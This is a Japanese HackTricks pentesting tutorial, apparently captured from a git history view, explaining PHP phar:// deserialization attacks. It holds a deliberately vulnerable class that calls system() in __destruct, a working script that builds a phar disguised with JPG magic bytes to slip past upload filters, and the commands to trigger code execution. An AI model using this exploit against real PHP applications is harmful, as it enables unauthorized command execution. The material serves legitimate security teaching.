hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

109 lines
6 KiB
Markdown
Raw Normal View History

# phar:// デシリアライゼーション
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリに提出してください。
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
**Phar** ファイルPHPアーカイブファイルには、**シリアル化された形式のメタデータ**が含まれているため、これを解析すると、この**メタデータ**が**デシリアライズ**され、**PHP**コード内の**デシリアライゼーション**脆弱性を悪用しようとすることができます。
2021-03-19 23:08:07 +00:00
この特性の最も良い点は、**`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()`**など、PHPコードを評価しないPHP関数を使用していても、このデシリアライゼーションが発生することです。
2021-03-19 23:08:07 +00:00
したがって、**`phar://`** プロトコルを使用して、PHPウェブが任意のファイルのサイズを取得する状況を想像してみてください。そしてコード内で以下のような**クラス**を見つけた場合を考えてみてください:
2021-03-19 23:08:07 +00:00
{% code title="vunl.php" %}
```php
<?php
class AnyClass {
2023-07-07 23:42:27 +00:00
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
2021-03-19 23:08:07 +00:00
}
filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}
**phar**ファイルを作成して、次のようにして**このクラスを悪用して任意のコマンドを実行**することができます:
2021-03-19 23:08:07 +00:00
{% code title="create_phar.php" %}
2021-03-19 23:08:07 +00:00
```php
<?php
class AnyClass {
2023-07-07 23:42:27 +00:00
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
2021-03-19 23:08:07 +00:00
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}
**JPGのマジックバイト**`\xff\xd8\xff`がpharファイルの先頭に追加され、**可能性のある**ファイル**アップロード****制限**を**バイパス**することに注意してください。\
次のコマンドで`test.phar`ファイルを**コンパイル**します:
2021-03-19 23:08:07 +00:00
```bash
php --define phar.readonly=0 create_phar.php
```
そして、脆弱なコードを悪用して`whoami`コマンドを実行します:
2021-03-19 23:08:07 +00:00
```bash
php vuln.php
```
### 参考文献
2022-05-24 00:07:19 +00:00
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
2021-03-19 23:08:07 +00:00
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
**バグバウンティのヒント**: **Intigriti****サインアップ** してください。これは、ハッカーによって作成されたプレミアムな **バグバウンティプラットフォーム** です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今すぐ参加し、最大 **$100,000** のバウンティを獲得しましょう!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で **ゼロからヒーローまでのAWSハッキングを学びましょう**</strong></summary>
HackTricks をサポートする他の方法:
2022-04-28 16:01:33 +00:00
* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
2022-04-28 16:01:33 +00:00
</details>